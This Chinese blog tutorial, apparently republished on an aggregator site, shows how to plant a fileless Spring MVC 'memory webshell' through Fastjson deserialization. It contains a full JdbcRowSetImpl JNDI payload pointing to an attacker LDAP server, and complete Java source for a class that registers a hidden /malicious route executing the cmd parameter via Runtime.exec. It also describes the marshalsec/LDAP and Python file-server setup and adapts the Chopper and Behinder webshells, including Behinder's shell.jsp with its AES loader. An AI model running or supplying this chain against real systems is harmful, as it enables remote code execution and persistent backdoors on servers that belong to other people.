利用 Fastjson 注入 Spring 内存马,太秀了~!

AlgoWandererPro
• 阅读 3002

本文仅供参考学习使用。

1 基础

实际上java内存马的注入已经有很多方式了,我在学习中动手研究并写了一下针对spring mvc应用的内存马。

一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一个spring mvc的后端,并直接给了一个fastjson反序列化的页面,在假定的攻击中,通过jndi的利用方式让web端加载恶意类,注入controller。

一切工作都是站在巨人的肩膀上,参考文章均在最后列出。

1.1 fastjson反序列化和JNDI

关于fastjson漏洞产生的具体原理已有很多分析文章,这里使用的是fastjson1.24版本,poc非常简单

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

当web端使用fastjson对上面的json进行反序列化时,受到@type注解的指示,会通过反射创建com.sun.rowset.JdbcRowSetImpl类的对象,基于fastjson的机制web端还会自动调用这个对象内部的set方法,最后触发JdbcRowSetImpl类中的特定set方法,访问dataSourceName指定的服务端,并下载执行服务端指定的class文件,细节这里不做更详细的展开。

1.2 向spring mvc注入controller

学习了listener、filter、servlet的内存马后,想到看一看spring相关的内存马,但没有发现直接给出源代码的controller型内存马,所以学习并动手实现了一下(spring版本4.2.6.RELEASE)。

首先站在巨人的肩膀上,可以知道spring mvc项目运行后,仍然可以动态添加controller。普通的controller写法如下

利用 Fastjson 注入 Spring 内存马,太秀了~!

通过@RequestMapping注解标明url和请求方法,编译部署后,spring会根据这个注解注册好相应的controller。动态注入controller的核心步骤如下

public class InjectToController{
    public InjectToController(){
    // 1. 利用spring内部方法获取context
    WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    // 2. 从context中获得 RequestMappingHandlerMapping 的实例
    RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
    // 3. 通过反射获得自定义 controller 中的 Method 对象
    Method method2 = InjectToController.class.getMethod("test");
    // 4. 定义访问 controller 的 URL 地址
    PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
    // 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
    RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
    // 6. 在内存中动态注册 controller
    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
    InjectToController injectToController = new InjectToController("aaa");
    mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    public void test() {
        xxx
    }
}
  • 步骤1中的context可以理解为web端处理这个请求时,当前线程内所拥有的各种环境信息和资源
  • 步骤2中获取的mappingHandlerMapping对象是用于注册controller的
  • 步骤3中的反射是为了获得test这个Method对象,以便动态注册controller时,告知接收到给定url路径的请求后,用那个Method来处理,其中InjectToController类就是我们的恶意类
  • 步骤4定义的url对象是为了指定注入url,这个url就是我们的内存马路径
  • 步骤5是告知注入的url允许的请求方法
  • 步骤6中RequestMappingInfo填入的信息类似于@RequestMapping注解中的信息,即url、允许的请求方法等。是真正注册controller的步骤
  • InjectToController这个类就是我们的恶意类,其中定义了test方法,这个方法内存在执行命令,当然也可以替换成冰蝎、哥斯拉的webshell核心代码,以便使用这两个工具。InjectToController的完整代码在后面的章节可见

1.3 获取request和response

常用的jsp一句话webshell代码如下

java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));

由于jsp文件被执行时,会自动获得了request这个资源,所以一句话木马不需要考虑如何获取request这个对象。但在我们注入controller的流程中,恶意java类的编译是由攻击者完成的,web端直接执行编译好的class文件,显然不可能像上面图片中用注解的方式在让test方法(InjectToController中的)的参数自带request, 所以再一次站在巨人的肩膀上https://www.jianshu.com/p/89b... ,通过spring的内部方法获取到request和response对象

HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

如果spring mvc项目部署在tomcat下,也可以用针对tomcat获取requeset的方法,例如从ThreadLocal、Mbean和Thread.getCurrentThread获取(后方参考文献中已给出)

1.4 阻止重复添加controller (非必须)

经过调试发现,上面获取的mappingHandlerMapping中有一个mappingRegistry成员对象,而该对象下的urlLookup属性保存了已经注册的所有url路径,对mappingHandlerMapping进一步后发现,以上对象和属性都是私有的,且mappingRegistry并非mappingHandlerMapping中创建的,而是来自于基类AbstractHandlerMethodMapping。

利用 Fastjson 注入 Spring 内存马,太秀了~!

所以对AbstractHandlerMethodMapping的源码进行了一番查看,发现通过其getMappingRegistry方法可以获取mappingRegistry,而urlLookup是其内部类MappingRegistry的私有属性,可以通过反射获取。

利用 Fastjson 注入 Spring 内存马,太秀了~!

反射获取urlLookup和判断我们给定的url是否被注册的代码块如下

// 获取abstractHandlerMethodMapping对象,以便反射调用其getMappingRegistry方法
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
// 反射调用getMappingRegistry方法
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
// 反射获取urlLookup属性
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
// 判断我们想要注入的路径是否被已经存在
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
    String urlPath = (String) urlIterator.next();
    if ("/malicious".equals(urlPath)){
        System.out.println("url已存在");
        return;
    }
}

2 实验

2.1 搞个spring mvc的测试环境

这里用idea做了一个maven+spring mvc+tomcat的测试环境,方便随时换spring、fastjson和tomcat的版本。这个Web应用的功能有两个:

  • /home/postjson,可以输入json并POST给/home/readjson
  • /home/readjson,使用fastjson解析json,触发反序列化的rce

利用 Fastjson 注入 Spring 内存马,太秀了~!

推荐一个 Spring Boot 基础教程及实战示例:
https://github.com/javastacks...

2.2 恶意类源代码

通过JNDI注入让服务端执行的代码如下

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;

public class InjectToController {
    // 第一个构造函数
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 可选步骤,判断url是否存在
        AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
        Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
        field.setAccessible(true);
        Map urlLookup = (Map) field.get(mappingRegistry);
        Iterator urlIterator = urlLookup.keySet().iterator();
        List<String> urls = new ArrayList();
        while (urlIterator.hasNext()){
            String urlPath = (String) urlIterator.next();
            if ("/malicious".equals(urlPath)){
                System.out.println("url已存在");
                return;
            }
        }
        // 可选步骤,判断url是否存在
        // 2. 通过反射获得自定义 controller 中test的 Method 对象
        Method method2 = InjectToController.class.getMethod("test");
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
        InjectToController injectToController = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }
    // 第二个构造函数
    public InjectToController(String aaa) {}
    // controller指定的处理方法
    public void test() throws  IOException{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 获取cmd参数并执行命令
        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}
  • 由于fastjson反序列化时,自动下载并执行编译好的class文件,所以要在构造函数中写入注册controller的步骤
  • 反序列化时自动触发的构造函数是第一个构造函数,因为没有带参数
  • 由于registerMapping方法注册controller时需要给一个对象和这个对象内部的处理方法,而web端只下载了InjectToController这个类,再来一次JNDI去获取一个恶意类属实麻烦,所以用了InjectToController injectToController = new InjectToController("aaa");,这样就会进入第二个构造函数,而不会进入第一个构造函数无限循环。

2.3 测试

启动spring mvc项目,访问/项目/malicious路径,返回404

利用 Fastjson 注入 Spring 内存马,太秀了~!

使用marshalsec开一个ldap的服务,并指定/Exploit这个reference对应的路径为192.168.x.x:8090/#InjectToController,再用python开一个web文件服务器

利用 Fastjson 注入 Spring 内存马,太秀了~!

编译InjectToController.java,将编译好的class文件放到python开的web文件服务根目录下,访问/项目/home/postjson,并提交payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}

利用 Fastjson 注入 Spring 内存马,太秀了~!

payload提交后,会被fastjson进行反序列化,在这个过程中会触发JdbcRowSetImpl中的connect函数,并根据给定的dataSourceName发起LDAP请求,从开启的给定的LDAP服务端(1389端口)获得恶意类的地址,再去下载并执行恶意类(8090端口),可以看到payload攻击成功了

利用 Fastjson 注入 Spring 内存马,太秀了~!

访问/malicious这个uri确定一下

利用 Fastjson 注入 Spring 内存马,太秀了~!

2.4 注入菜刀webshell

只需要找一匹稳定的jsp菜刀马,稍加改造:

  • 把菜刀马的函数定义放在恶意类中
  • 在注入的controller代码中加入菜刀马的判断和执行部分(上面的test方法中)
  • 注意jsp菜刀马最后的out.print(sb.toString());改为response.getWriter().write(sb.toString());response.getWriter().flush();

利用 Fastjson 注入 Spring 内存马,太秀了~!

2.5 注入冰蝎代码

2.5.1 冰蝎的服务端--shell.jsp

首先来看看冰蝎的shell.jsp文件,为了方便阅读,稍作加了一些换行

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{
    U(ClassLoader c){super(c);}  //构造函数

    public Class g(byte []b){
        return super.defineClass(b,0,b.length);  // 调用父类的defineClass函数
    }
}
%>

<%
if (request.getMethod().equals("POST"))
    {
        String k="e45e329feb5d925b";
        session.putValue("u",k);
        Cipher c=Cipher.getInstance("AES");
        c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
        new U(ClassLoader.class.getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

可以看出,该jsp的核心功能有三点

  • 为了方便地使用defineClass,创建了U这个类继承ClassLoader;
  • 使用java自带的包,解密AES加密数据
  • 使用defineClass加载AES解密后字节码,获得一个恶意类,利用newInstance创建这个类的实例,并调用equals方法
2.5.2 pageContext

shell.jsp中需要特别注意pageContext这个对象,它是jsp文件运行过程中自带的对象,可以获取request/response/session这三个包含页面信息的重要对象,对应pageContext有getRequest/getResponse/getSession方法。学艺不精,暂时没有找到从spring和tomcat中获取pageContext的方法。

但是从冰蝎的作者给出的提示可以知道,冰蝎3.0 bata7之后不在依赖pageContext,见github issue

又从源码确认了一下,在equal函数中传入的object有request/response/session对象即可

利用 Fastjson 注入 Spring 内存马,太秀了~!

所以注入的controller代码中,可以将pageContext换成一个Map,手动添加key和value即可,前面的恶意类源代码中已经给出了如何获取request/response/session

利用 Fastjson 注入 Spring 内存马,太秀了~!

2.5.3 继承ClassLoader和调用defineClass

在2.5.1中提到需要继承ClassLoader后调用父类的defineClass,当然也可以用反射,但是这样更方便而已。对恶意类稍加改造,继承ClassLoader、定义新的构造函数、增加g函数、添加冰蝎的服务端代码

利用 Fastjson 注入 Spring 内存马,太秀了~!

利用 Fastjson 注入 Spring 内存马,太秀了~!

特别需要注意的是红框内的ClassLoader.getSystemClassLoader(),如果随意给定某个继承自ClassLoader的类,可能会出现报错java.lang.LinkageError : attempted duplicate class definition for name。这是因为需要使用getSystemClassLoader()获取创建ClassLoader时需要添加委派父级。

2.5.4 上冰蝎

利用 Fastjson 注入 Spring 内存马,太秀了~!

参考文献:

https://www.anquanke.com/post...\
https://www.jianshu.com/p/89b...\
https://github.com/mbechler/m...\
https://lalajun.github.io/201...反序列化-fastjson/\
https://github.com/rebeyond/B...\
https://blog.csdn.net/cumudi0...\
https://github.com/rebeyond/B...\


作者:bitterz \
地址:https://www.cnblogs.com/bitterz/

近期热文推荐:

1.1,000+ 道 Java面试题及答案整理(2021最新版)

2.别在再满屏的 if/ else 了,试试策略模式,真香!!

3.卧槽!Java 中的 xx ≠ null 是什么新语法?

4.Spring Boot 2.5 重磅发布,黑暗模式太炸了!

5.《Java开发手册(嵩山版)》最新发布,速速下载!

觉得不错,别忘了随手点赞+转发哦!

点赞
收藏
评论区
推荐文章
Easter79 Easter79
3年前
sql注入
反引号是个比较特别的字符,下面记录下怎么利用0x00SQL注入反引号可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景,下面具体说下1)表名payload:select\from\users\whereuser\_id1limit0,1;!(https://o
李志宽 李志宽
2年前
【网络安全】为了2023年面试鹅厂渗透岗 死磕这几个知识
1、讲讲Java内存马原理和利用?Java内存马是一种通过在Java虚拟机(JVM)中运行的恶意代码,实现对被攻击者系统的远程控制。其原理是通过在Java虚拟机中注入特定的Java类、变量或方法等Java对象,然后在Java虚拟机中运行这些代码,实现对受害
一个宁静祥和没有bug的下午和SqlSession的故事
作者:马跃1背景这是一个安静祥和没有bug的下午。作为一只菜鸡,时刻巩固一下基础还是很有必要的,如此的大好时机,就让我来学习学习mybatis如何使用。!(https://img1.jcloudcs.com/dev
Stella981 Stella981
3年前
Android so注入(inject)和Hook技术学习(一)
  以前对Androidso的注入只是通过现有的框架,并没有去研究so注入原理,趁现在有时间正好拿出来研究一下。  首先来看注入流程。Androidso的注入流程如下:_attach到远程进程保存寄存器环境获取目标程序的mmap,dlopen,dlsym,dlclose地址远程调用mmap函数申请内存空间用来保存参
Wesley13 Wesley13
3年前
Java 内存模型
什么是Java内存模型?JMM(JavaMemoryModel,Java内存模型),它定义了多线程访问Java内存的规范。简单的说有以下几部分内容:Java内存模型将内存分为主内存和工作内存定义了几个原子操作,用于操作主内存和工作内存中的变量定义了volatile变量的使用规则happensbefor
Stella981 Stella981
3年前
Istio技术与实践03:最佳实践之sidecar自动注入
Istio通过对serviceMesh中的每个pod注入sidecar,来实现无侵入式的服务治理能力。其中,sidecar的注入是其能力实现的重要一环(本文主要介绍在kubernetes集群中的注入方式)。sidecar注入有两种方式,一是通过创建webhook资源,利用k8s的webhook能力实现pod的自动注入,二是通过istioctl工具,对yaml
Wesley13 Wesley13
3年前
3. XML实体注入漏洞的利用与学习
XML实体注入漏洞的利用与学习前言XXEInjection即XMLExternalEntityInjection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题.在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义在文档中
Wesley13 Wesley13
3年前
32位CPU最多支持4G内存是怎么算出来的?(解惑篇)
文章目录前言一、对2^32^4BG的疑惑二、聊一下内存1.内存的特性2.内存的基本结构3.内存地址的概念总结前言这两天在研究java指针压缩的原理,在研究过程中就涉及到了cpu寻址相关方面的知识,为了弄明白原理,所以又查了很多资料,在这个过
Stella981 Stella981
3年前
JVM的艺术—JAVA内存模型
\喜欢文章,动动手指点个赞\引言亲爱读者你们好,关于jvm篇章的连载,前面三章讲了类加载器,本篇文章将进入jvm领域的另一个知识点,java内存模型。彻底的了解java内存模型,是有必要的。只要掌握了java的内存模型,内存空间分为哪些区域,才能更好地理解,java是如何创建对象以及如何分配对象的空间。对后续的jvm调优打下坚实
Wesley13 Wesley13
3年前
信息安全
ylbtech信息安全攻击XSS:XSS/CSS攻击XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、Flash或者甚至是普通的HTML。攻击成功后
京东云开发者 京东云开发者
9个月前
【转载】golang内存分配
Go的分配采用了类似tcmalloc的结构.特点:使用一小块一小块的连续内存页,进行分配某个范围大小的内存需求.比如某个连续8KB专门用于分配1724字节,以此减少内存碎片.线程拥有一定的cache,可用于无锁分配.同时Go对于GC后回收的内存页,并不是马